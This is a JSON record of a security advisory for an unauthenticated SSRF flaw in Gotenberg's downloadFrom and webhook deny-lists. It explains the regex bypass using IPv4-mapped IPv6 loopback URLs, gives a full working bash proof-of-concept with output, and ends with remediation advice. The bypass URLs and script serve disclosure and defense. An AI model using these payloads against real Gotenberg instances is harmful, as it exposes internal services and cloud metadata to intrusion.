1 line
16 KiB
JSON
1 line
16 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-4vmc-gm8v-m35h","published":"2026-05-07T01:15:19Z","modified":"2026-06-25T18:56:11.574811179Z","aliases":["CVE-2026-42596","GO-2026-5132"],"summary":"Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook","details":"### Summary\nThe default deny-lists used by Gotenberg's `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n - Reads attacker-supplied `downloadFrom`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'\ncat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'\n```\n\nObserved output:\n\n```json\n{\n \"page_1.pdf\": {\n \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n \"FileType\": \"PDF\",\n \"FileTypeExtension\": \"pdf\",\n \"Linearized\": \"No\",\n \"MIMEType\": \"application/pdf\",\n \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n \"PDFVersion\": 1.7,\n \"PageCount\": 1,\n \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" && pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n \"--pdfengines-merge-engines=qpdf\"\n \"--pdfengines-split-engines=qpdf\"\n \"--pdfengines-flatten-engines=qpdf\"\n \"--pdfengines-convert-engines=qpdf\"\n \"--pdfengines-read-metadata-engines=exiftool\"\n \"--pdfengines-write-metadata-engines=exiftool\"\n \"--pdfengines-encrypt-engines=qpdf\"\n \"--pdfengines-embed-engines=qpdf\"\n \"--pdfengines-read-bookmarks-engines=qpdf\"\n \"--pdfengines-write-bookmarks-engines=qpdf\"\n \"--pdfengines-watermark-engines=qpdf\"\n \"--pdfengines-stamp-engines=qpdf\"\n \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf '\\033[31m%s\\033[0m\\n' \"$*\"; }\ngreen() { printf '\\033[32m%s\\033[0m\\n' \"$*\"; }\nblue() { printf '\\033[34m%s\\033[0m\\n' \"$*\"; }\n\ncleanup() {\n docker rm -f \"$HELPER_NAME\" >/dev/null 2>&1 || true\n docker rm -f \"$GOTENBERG_NAME\" >/dev/null 2>&1 || true\n}\n\nfail() {\n red \"$1\"\n printf '\\n--- gotenberg logs ---\\n'\n docker logs \"$GOTENBERG_NAME\" 2>/dev/null || true\n printf '\\n--- helper logs ---\\n'\n docker logs \"$HELPER_NAME\" 2>/dev/null || true\n exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: > \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n red \"Missing test PDF: $TEST_PDF\"\n exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n red \"Missing Dockerfile: $DOCKERFILE\"\n exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" >/dev/null 2>&1; then\n blue \"[1/6] Building slim verification image: $IMAGE\"\n docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" >/dev/null\nelse\n blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n --name \"$GOTENBERG_NAME\" \\\n -p \"$PORT:3000\" \\\n \"$IMAGE\" \\\n --webhook-enable-sync-mode=true \\\n \"${PDF_ENGINE_FLAGS[@]}\" >/dev/null\n\nfor _ in $(seq 1 45); do\n if curl -fsS \"http://127.0.0.1:$PORT/health\" >/dev/null 2>&1; then\n break\n fi\n sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" >/dev/null 2>&1; then\n fail \"Gotenberg did not become healthy\"\nfi\n\ncat > \"$HELPER_SCRIPT\" <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/pdf\")\n self.send_header(\"Content-Disposition\", 'attachment; filename=\"page_1.pdf\"')\n self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n self.end_headers()\n self.wfile.write(PDF_BYTES)\n\n def log_message(self, fmt, *args):\n return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\"Content-Length\", \"0\"))\n body = self.rfile.read(length)\n with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n f.write(\n f\"{self.command} {self.path} len={len(body)} \"\n f\"content-type={self.headers.get('Content-Type', '')}\\n\"\n )\n self.send_response(200)\n self.end_headers()\n\n do_PATCH = do_POST\n do_PUT = do_POST\n\n def log_message(self, fmt, *args):\n return\n\n\ndef serve(addr, handler):\n HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n --name \"$HELPER_NAME\" \\\n --network \"container:$GOTENBERG_NAME\" \\\n -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n -v \"$ARTIFACT_DIR:/work\" \\\n -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n python:3.11-alpine \\\n python /app/internal_helper.py >/dev/null\n\nfor _ in $(seq 1 20); do\n if docker logs \"$HELPER_NAME\" 2>&1 | grep -q \"internal helper ready\"; then\n break\n fi\n sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2>&1 | grep -q \"internal helper ready\"; then\n fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n curl -sS \\\n -o \"$DOWNLOAD_JSON\" \\\n -w '%{http_code}' \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n cat \"$DOWNLOAD_JSON\" 2>/dev/null || true\n fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e 'has(\"page_1.pdf\")' \"$DOWNLOAD_JSON\" >/dev/null 2>&1; then\n cat \"$DOWNLOAD_JSON\" || true\n fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n curl -sS \\\n -o /dev/null \\\n -w '%{http_code}' \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q '^POST /upload ' \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q '^POST /events ' \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf 'downloadFrom metadata: %s\\n' \"$DOWNLOAD_JSON\"\nprintf 'webhook log: %s\\n' \"$WEBHOOK_LOG\"\n\nprintf '\\n--- downloadFrom metadata excerpt ---\\n'\njq '{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}' \"$DOWNLOAD_JSON\"\n\nprintf '\\n--- webhook log ---\\n'\ncat \"$WEBHOOK_LOG\"\n\nprintf '\\n'\ngreen \"Verification complete\"\nprintf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n'\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.","affected":[{"package":{"name":"github.com/gotenberg/gotenberg/v8","ecosystem":"Go","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.32.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 8.30.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-4vmc-gm8v-m35h/GHSA-4vmc-gm8v-m35h.json"}}],"references":[{"type":"WEB","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42596"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-05-07T01:15:19Z","nvd_published_at":"2026-05-14T16:16:22Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"}]} |